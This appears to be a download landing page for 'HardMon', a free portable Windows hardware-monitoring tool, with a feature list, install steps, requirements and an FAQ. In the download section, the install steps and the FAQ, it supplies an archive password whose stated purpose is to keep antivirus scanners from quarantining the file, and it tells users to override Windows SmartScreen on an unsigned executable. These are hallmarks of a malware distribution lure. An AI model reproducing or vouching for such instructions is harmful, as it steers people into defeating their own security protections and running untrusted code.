🟢 Real-time · Portable · No telemetry

See exactly what your hardware is doing — right now.

HardMon is a lightweight, portable hardware monitoring utility for Windows. CPU, GPU, RAM, disk, network and temperature sensors — in one clean, real-time dashboard. No installation. No background services. No data leaves your machine.

⬇ Download HardMon How to install →
Windows 10 / 11 · x64 Portable · No install Zero telemetry v1.0.0

Everything that matters. Nothing that doesn't.

Six subsystems, one dashboard, updated several times per second.

🎯

CPU, per core

Total and per-core load, frequency, process count — 250 ms refresh.

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GPU

Core load, VRAM, temperature, fan and clocks for NVIDIA / AMD / Intel.

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RAM & Paging

Physical usage, commit charge, page-file pressure with rolling graphs.

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Disk I/O

Read/write throughput, activity %, queue depth and free space per volume.

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Network

Live up/down throughput per interface, packets and connection state.

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Thermals

CPU package, GPU core and board sensors via standard interfaces.

⬇ Download HardMon v1.0.0

Windows 10 / 11 · x64 · Portable · Single executable · ~few MB

Download HardMon_1.0.0_Windows_x64.zip
Archive is password-protected:
Password: github26

The password is public — its purpose is to prevent false antivirus quarantines during download and to guarantee you receive the exact, unmodified binary. Verify the SHA-256 hash in SECURITY.md after extracting.

How to install

Four steps. Thirty seconds. No installer, no wizard.

  1. Download the archive
    Click the download button above — you'll get HardMon_1.0.0_Windows_x64.zip.
  2. Extract with 7-Zip, WinRAR or Windows' built-in ZIP
    Right-click → "Extract All…" (or use your favorite archive tool).
  3. Enter the password when prompted
    Password: github26 — case-sensitive, no spaces.
  4. Run HardMon.exe
    No installation needed. If SmartScreen warns (it will, since the binary is unsigned), click "More info → Run anyway" after verifying the SHA-256 hash.

System requirements

If it runs Windows 10, it runs HardMon.

ComponentMinimumRecommended
OSWindows 10 x64Windows 11 x64
Architecture64-bit64-bit
RAM100 MB free200 MB free
Disk30 MB100 MB
GPUAny (basic mode)NVIDIA / AMD / Intel with current drivers
Admin rightsNot requiredOptional (unlocks all sensors)

Frequently asked questions

Short answers to the things people actually ask.

Is HardMon free?

Yes. Free for personal and internal business use. Redistribution of the binary outside the official download page is not allowed.

Why is the archive password-protected?

The password github26 is public and not a security control. It exists so browser scanners and endpoint security don't quarantine the file mid-download, and so users receive the exact published binary. Verify SHA-256 after extracting.

Windows SmartScreen warns about HardMon.exe — is it safe?

SmartScreen warns on every unsigned binary from a new publisher. Verify the SHA-256 hash from SECURITY.md; if it matches, click "More info → Run anyway".

Does it send data anywhere?

No. Zero telemetry, zero analytics, zero phone-home. HardMon works fully offline.

Do I need admin rights?

No. Core monitoring works as a standard user. Elevation is only useful for certain temperature sensors on some motherboards.

Can I run it from a USB stick?

Yes. Single executable, portable design, no registry writes.

Where does it store settings?

Next to HardMon.exe in a HardMon.settings file. Delete the folder and everything is gone.